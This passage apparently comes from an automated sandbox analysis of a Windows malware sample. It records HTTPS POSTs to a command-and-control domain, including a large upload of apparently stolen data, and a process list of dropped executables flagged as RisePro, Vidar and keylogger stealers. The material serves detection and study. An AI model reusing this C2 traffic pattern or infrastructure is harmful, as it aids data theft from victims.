2024-05-24 11:44:02 UTC	5433	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:44:03 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:44:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e235uel07lpvk0cn1qbem6ck64; expires=Tue, 17-Sep-2024 05:30:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GFOCHYB9ULUlCH0q0LLaPv2yh7RfXCXNTo1lQFjJtZrYqy%2BcWGPa429auAj3CBnol%2F0swHkf163%2FflNhDmlZ45QYIXfMiyZAZwugurQJTykA4NVaQdPsNE1SFkLMuFslaaqmqOQQsuEOmA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d08124e70c32a-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:44:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:44:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	63815	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:44:03 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1393 Host: employhabragaomlsp.shop
2024-05-24 11:44:03 UTC	1393	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:44:04 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bqvgmnn0ntar4vapftoeimi4i9; expires=Tue, 17-Sep-2024 05:30:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1SUgNwVgRfXKKfnNy5X6b9QhrDUr0rFFQiNZxixyedv324QqSMIRxvNdadze2SQkI8nKl%2F10vRBmOteqXuaqFgd6wyEw7rLG0JttHps1gNIPm5GSDZMeI8bDvzUz0Ft69NqsYAWClJGmiQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d08194c1f8c2a-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:44:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:44:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	63820	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:44:05 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 575227 Host: employhabragaomlsp.shop
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: 6d b7 16 ac 8a 3e 02 b1 94 95 c0 5f c2 9c d2 03 38 e3 2e c0 5a 3e 05 3c 98 2e 30 43 87 c5 96 75 cd a8 ad d6 85 58 0f dd c3 74 00 2b 3b 64 0e e1 68 46 aa d0 e4 ff 6f 27 a5 17 16 24 ae ca c2 03 00 de 47 68 5a 51 02 0a 7d 40 0b 6a 51 99 d1 b6 21 b2 09 3c 24 25 54 66 ba 2c 7e 6b f4 23 f4 f0 0b 77 09 c9 ed 01 f6 38 f4 63 88 3a bd 58 e8 d9 0a 58 25 68 92 a6 07 f0 bd 50 24 a4 07 47 61 89 1e 23 d5 ba b8 5c 9f ea 54 ed 82 93 3f f0 fd 11 72 e8 b6 78 0a 6b be 6f fc de 69 5e da 47 52 58 83 78 4e b7 07 fa 85 bc cd 68 99 14 98 6a a1 54 76 3d a0 3d b8 c3 dc cc 2e e4 73 7c 72 47 c3 7b a6 23 48 cf aa 46 d9 a1 aa 1e fd 4a cd 28 02 46 a6 08 11 5d a6 16 61 01 4a 99 6d 98 dc cb 64 6b 88 ec 14 02 c2 f9 c3 8d 49 bf c4 5d bc f1 67 41 13 87 4e 5f ba 54 c8 2f 11 3b ef d9 fe 6b d8 Data Ascii: m>_8.Z><.0CuXt+;dhFo'$GhZQ}@jQ!<$%Tf,~k#w8c:XX%hP$Ga#\T?rxkoi^GRXxNhjTv==.s\|rG{#HFJ(F]aJmdkI]gAN_T/;k
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: ea a8 2a f0 36 b1 ca ea 8b 65 56 08 7d 13 9a 15 9f 58 71 f7 83 26 ff ec 0a d4 00 02 6c 93 7a b7 4f f8 74 86 3a 87 85 04 a7 32 22 2f 0e 26 2d b8 58 c0 c1 27 b4 08 be 09 f3 d6 2a 95 09 db 98 a1 24 b3 2c 8b 38 03 34 11 c5 79 5c f4 ed 6f 85 d5 1a 49 0f 15 a6 f1 b8 52 fd cd 49 54 7d 69 d9 a6 fe 5c 52 1e c5 5b 70 a7 7a 51 42 95 e1 56 22 9b de 6a 4e f4 c6 e5 95 62 a5 bb ee 87 75 94 66 2f f1 e9 19 a7 72 90 c8 0a 87 91 e4 9e bc cb df 29 df de a2 88 c0 39 ff b9 1f 3f c2 a6 90 3c 3e 73 f6 c3 9f d3 04 26 e5 3a 17 93 50 c4 96 67 d5 bd eb cd b2 c8 7b ea b8 4e b4 08 fd be d6 78 4a 0c 55 7b c4 a1 ad 59 a5 3e 74 17 7b 24 dd 75 95 34 da 80 1a bb 00 ac e3 a9 84 19 c2 b2 cc af f7 c4 93 ae 4e 33 4a c3 ca 4f ec a8 39 70 d2 50 3c eb 9e 2f 4d 03 55 63 12 13 70 c9 6f 93 30 76 a1 Data Ascii: 6eV}Xq&lzOt:2"/&-X'$,84y\oIRIT}i\R[pzQBV"jNbuf/r)9?<>s&:Pg{NxJU{Y>t{$u4N3JO9pP</MUcpo0v
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: e0 2d d3 cc 39 26 21 2a 0e 41 4e 5d 73 7b 45 9d d7 2f 59 c3 7c 50 b0 74 ad 54 07 ad 92 a1 1b 86 f2 72 67 8c ba 4b 5b dc 4a bd b5 51 f4 c2 a7 79 01 ce a3 38 4f e8 4a 60 f2 fd ed 23 8b c5 5d 9d 4b 2e 08 1b fb e8 20 7e 72 cb 1f c1 4a 48 19 4c 15 db f1 87 7b 74 00 99 d6 bd d5 88 d0 49 0d 53 dc ab 9a b2 ad e4 2e 8b 71 b9 a1 dd 5b 25 1e 17 7f 5c 18 52 fe ba 0f 24 54 1f 70 66 bf f7 e9 74 7c ce bf 29 70 52 ec 4f c6 96 f5 9b e2 d9 f0 b6 7f 9a df 8f 84 58 2c c1 9a 64 8a 43 9e e2 a8 e2 0a f5 95 ec f0 9f 1e ca 54 e8 2a 33 86 b7 b6 95 f4 74 44 fc 34 a1 a1 bd b6 ba c8 86 5d 7c 34 ed 70 8c db c1 3d 96 72 56 c3 47 77 82 fe 5c 76 3c b6 7d 85 9f a8 81 c6 19 de 99 7f 73 23 6f 23 68 ab 5c 5c 7f 16 53 bc 1e 96 d4 51 d4 76 5d 54 ac b9 2d ad b0 38 77 73 3d 53 ee f5 4c 91 c1 f8 Data Ascii: -9&!AN]s{E/Y\|PtTrgK[JQy8OJ`#]K. ~rJHL{tIS.q[%\R$Tpft\|)pROX,dCT3tD4]\|4p=rVGw\v<}s#o#h\\SQv]T-8ws=SL
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: c4 47 f0 2e d1 30 87 8f bd 9d ec c9 47 3e 28 65 80 60 ba aa 63 5c 1c 73 e4 9f 15 5a 66 08 84 1b dc 17 cd dd b4 8d c3 6a b0 ce 60 72 ce d3 5e 62 bc 0e cd e7 06 8b 60 07 37 9c 39 99 49 fc c6 bf 64 03 d1 14 d2 ba dd 49 aa e9 a7 8c 34 76 8b 64 58 ef 80 9b 0b 31 7d 4d c0 0b 2b 48 3c 15 f2 9b 89 87 19 1d 87 73 78 fe 8e be 80 0e 10 dd fe 55 c1 2e 6f 49 26 35 71 ac 01 d8 c9 fc c3 25 ae 8b c9 1a cc 4c 8e df e1 86 bc c9 b8 73 e0 42 dc 42 77 bd 75 f2 73 f2 e0 f4 99 4c 53 30 fb c0 58 2d 45 35 2a c2 53 a0 d7 18 cb 29 8f 40 29 d2 66 06 82 4d 18 79 6e ee 07 af 85 93 de c8 c5 ed cc 57 13 86 5d 99 e2 2b fc 27 71 be f4 ef c8 56 86 94 e0 65 0c 27 80 49 41 65 82 ce 69 bf 5a 8c 05 a4 7f 5e c2 4a bc 58 cf 8e c2 65 e9 84 cf 4b 5c 3d f6 8c 8e 11 35 a1 aa 22 80 e8 9f a8 eb ec 01 Data Ascii: G.0G>(e`c\sZfj`r^b`79IdI4vdX1}M+H<sxU.oI&5q%LsBBwusLS0X-E5*S)@)fMynW]+'qVe'IAeiZ^JXeK\=5"
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: 83 45 ff 41 c4 d6 f8 f3 72 98 dd b2 a5 d5 56 f9 83 34 0c e5 00 06 4c e8 d3 1c 7f 01 45 37 b6 62 35 f0 ea 16 a3 08 07 04 b7 6c 96 43 d7 7f 73 2f 04 8f 7d c9 ca bc 16 7c a4 d9 b9 11 db 9a 75 51 17 bb 71 59 3d d5 0f 7d 8f 3b 48 65 88 b7 35 2f 6a f6 ca e9 9d c7 ba 3b 7a ff 52 0e d1 95 1f 82 ba 71 ec 54 d6 4d 82 10 98 89 25 92 b4 9f 85 75 ff 4f 4b 82 7c a4 dc b3 66 36 df ae f7 ab 2d e5 1c bf b8 48 7e fb 51 83 c9 07 0e b2 e9 20 03 0e 5e ff a9 da ff f1 ed 92 a7 58 95 32 53 c7 fa 5c 8d 34 21 ed 1f 92 16 e7 b2 40 ff ed 7d e3 a4 a6 c8 0f f5 fb 54 92 b0 20 db 5c e6 2c af 49 33 f2 9b 1f 12 69 75 bf 31 ab 00 78 eb 8d d7 7d d4 25 dc 50 b4 ce ac d5 b0 22 09 3f da b2 bc 48 69 d2 46 3e 9e c0 ac 88 5d 0f c4 71 1a 29 1e ba 22 2c e3 10 96 2c ec 3a 5a ab f3 75 75 17 37 a5 91 Data Ascii: EArV4LE7b5lCs/}\|uQqY=};He5/j;zRqTM%uOK\|f6-H~Q ^X2S\4!@}T \,I3iu1x}%P"?HiF>]q)",,:Zuu7
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: 87 4f 61 3c 07 9c 4f 55 5a b6 ad c6 e0 7a 9f 9a be e5 a9 a0 44 3b b3 7f d3 41 8d 1f 4b 70 ae 91 01 ae a3 b0 e3 08 9b 6d 32 20 c9 0a f9 9b 63 89 53 13 78 8c 75 a1 aa 05 80 41 f3 35 39 e8 e2 2b 28 2b 74 e5 58 56 ab 04 d1 03 c1 a3 09 b6 a5 9a 39 c7 b4 c4 c2 15 a4 cf 5d d9 db d2 e2 05 d3 73 b2 4b e1 05 09 f8 d6 66 c6 9f da 84 d6 64 12 27 97 1f 1b a1 a5 07 99 9c e3 22 09 a1 43 4e 8b e5 5c 67 74 e9 ba 88 85 5e 15 da df 5f 7e bd 4e 99 26 d1 0f 15 0b 26 e1 95 61 5d 3c a4 be f3 d7 39 95 c5 f7 e2 2a 27 8f e2 f7 7f ae c0 38 51 68 86 ed 0a 96 d0 e2 b1 ab 2c 0e 19 ae ee 19 a4 99 b9 30 55 8f e7 78 93 c3 aa 09 4d 7f 6c a8 9f 3f dc de 55 76 a0 c0 76 10 86 6d cb 70 57 99 40 be bc d4 e6 c5 68 eb c8 ba 4b 4c d9 15 be 87 e8 1c e2 6d 18 e4 3f fa da 4c 53 96 2d d2 25 d7 ab b6 Data Ascii: Oa<OUZzD;AKpm2 cSxuA59+(+tXV9]sKfd'"CN\gt^_~N&&a]<9*'8Qh,0UxMl?UvvmpW@hKLm?LS-%
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: d9 36 1b 2f af 33 f3 af 70 3c b6 9c 73 34 c5 3f 04 76 92 76 d6 03 bf a1 ed 63 68 6e a1 5d 80 9e 04 d9 5c 84 7d 47 d1 cb 79 ce 50 31 df 47 40 ef d9 79 fb 14 b1 52 f4 00 ed 7a aa a4 ac 3b 4d 6d 91 b2 f0 2a c5 83 35 ee 0f 47 08 e6 91 6f 8a cb db b0 cf 44 63 ac c5 30 ad d7 73 a8 ba 23 27 a3 58 2e 30 72 5d 5c 86 23 44 b9 7c 97 85 86 46 23 00 13 81 98 b9 11 ca ca 43 83 cc 7a 49 70 90 75 b2 ba ea 8f 95 8d 4e 0a 0b 2d df 05 72 1d 3e bc bf fa 92 c0 3a 0e 27 df d7 a0 08 c0 78 b6 c8 93 13 0c bb 03 c8 d5 32 88 1e 03 25 42 cc 8b 22 bc 85 71 61 43 9b a0 5a 7d 10 19 76 7d d1 c9 77 e3 52 a2 d3 a1 22 18 5d 9a fb 12 cd 7d 95 bc 76 2a 21 8c 79 e1 68 b7 31 93 b8 bb 9d 4e b2 13 ac 41 2f 74 9c 4f e3 9f f0 81 ed 62 7d 7e 9f 20 0b 60 8d 42 97 e5 09 29 77 54 60 5f 20 82 42 ba 71 Data Ascii: 6/3p<s4?vvchn]\}GyP1G@yRz;Mm5GoDc0s#'X.0r]\#D\|F#CzIpuN-r>:'x2%B"qaCZ}v}wR"]}v!yh1NA/tOb}~ `B)wT`_ Bq
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: 64 38 df 2e e1 de 57 4e be 70 db 03 88 98 b3 94 a7 48 f3 48 1d fa 91 f5 b6 83 25 90 50 7f a1 37 47 05 a1 72 94 7b c7 ea 8c cd 13 06 f9 c0 4e fa b4 45 db 6a a5 2a ea dd 43 56 98 c0 42 84 e0 92 50 da ca 71 e2 ae 95 4b a8 74 47 89 71 3e 9e 59 a9 c9 e9 e6 3c 38 46 ae fc 3a 8c e5 c3 35 3e a1 98 d2 f8 81 6f 6b 5a 2b ec 85 00 6e c1 33 7f 77 2a fa 2d 73 0a 51 c7 26 31 ab d5 f3 d5 fc e7 6f 66 44 b9 6f 14 9d 20 1c 58 c7 a7 84 41 68 be c9 44 7e 02 f5 eb c3 26 25 c4 71 d1 24 0a 16 17 4f e7 49 3b 10 02 18 18 cc cf 03 d1 cb 00 8d f5 f4 80 8d 1f 1b a0 4f ed fa 15 f8 49 4b 95 19 41 bf 48 0f ed ae 35 c6 cd a4 8c d3 f6 e9 6e a2 67 7d ea 9d a8 1b 5f 0c 82 5a 0c a6 d0 1d 21 36 fb 8f d6 e9 bc 4c 28 78 dd 51 6b ee 0c 17 07 e9 51 b7 7e 08 87 7c 78 3d 6c 3d 2c cf e0 d9 a2 f7 db Data Ascii: d8.WNpHH%P7Gr{NEjCVBPqKtGq>Y<8F:5>okZ+n3w-sQ&1ofDo XAhD~&%q$OI;OIKAH5ng}_Z!6L(xQkQ~\|x=l=,
2024-05-24 11:44:05 UTC	15331	OUT	Data Raw: 52 6f 0c d9 7f db 27 23 cb 0a ca 6a be c9 0d a1 ea b6 4f 62 01 f1 ef 8b bd 70 c4 0b c5 22 81 e4 bd 5d 1a 55 6c be 6d 45 b0 6b 51 11 1d c3 79 12 c8 8f 72 32 53 9c b4 37 66 26 29 d1 d0 1c c2 7f 0c e0 f9 f7 bb 50 82 5a 54 f9 05 87 b3 85 0d 7e ea 4e dd 94 d8 8c f5 df 83 b7 30 c6 7f a4 ca 73 51 b4 6e b2 7d 9b 33 c5 c8 31 8d 58 28 52 0c fc 4e d3 c8 20 5f 59 a2 ff 1e 49 3a 3a 91 59 c5 92 98 e2 9a 74 1d eb ed 40 5f e6 46 d3 71 08 ac f9 11 7c 07 f7 cc f5 f8 cb f3 46 30 5a 43 13 e0 c6 f1 2e 62 34 b1 58 4c 57 b2 97 b1 a3 30 ec fb df 16 8f d9 68 12 ff 11 79 44 91 99 cd f0 21 8c a0 fc cc aa a2 08 1f 4d 83 8c 8c d2 e3 bc 11 d1 41 2a 22 fa c6 e6 79 5b ed 6e b6 4c 4c d8 74 4f 0e 7a 5e 64 0b 12 50 19 1b bd 57 40 28 78 73 1b db 69 df 42 ec 12 97 bb e5 65 c8 45 a9 78 16 38 Data Ascii: Ro'#jObp"]UlmEkQyr2S7f&)PZT~N0sQn}31X(RN _YI::Yt@_Fq\|F0ZC.b4XLW0hyD!MA*"y[nLLtOz^dPW@(xsiBeEx8
2024-05-24 11:44:08 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:44:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rpslb8m224dpoum6dtm1q0lnvf; expires=Tue, 17-Sep-2024 05:30:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5oZkYKpa7jFLw6Qjwbw4vOyelge5pwLlBUciRVqTuxtacX5otyZIIWB6iUiirk3Vl%2FzuYi%2BDD%2BPtzXzZy1dtiJ5cB1SxKRAtB4ToTpmM6OHTnQF%2FJ2pOlGifmujOueJRIchwVbizlwwqRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0824ee449e02-EWR alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	07:41:56
Start date:	24/05/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe"
Imagebase:	0x140000000
File size:	7'633'920 bytes
MD5 hash:	A5891DF2EC1F8F0335BC744B24B4D646
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:41:57
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:41:57
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:41:57
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe
Imagebase:	0x7b0000
File size:	4'788'376 bytes
MD5 hash:	22F5F177EE04B3AC13DF5A778A5D3C1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000005.00000002.2084327302.0000000005F70000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000005.00000003.2021774077.0000000005BBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe
Imagebase:	0x7ff62c610000
File size:	228'864 bytes
MD5 hash:	3955AF54FBAC1E43C945F447D92E4108
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe
Imagebase:	0x400000
File size:	5'534'755 bytes
MD5 hash:	335426382C8B11C43B441E478F4E743E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe
Imagebase:	0x400000
File size:	2'562'560 bytes
MD5 hash:	3F023AF63A8D50A095354335B3892C5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000008.00000002.1925118088.00000000042D9000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe
Imagebase:	0x7b0000
File size:	3'034'354 bytes
MD5 hash:	7F3DB034A3FE2B644C9A48635C9543D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe
Imagebase:	0x400000
File size:	224'256 bytes
MD5 hash:	D72B9750EAB4B21E3F39E886275D80AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
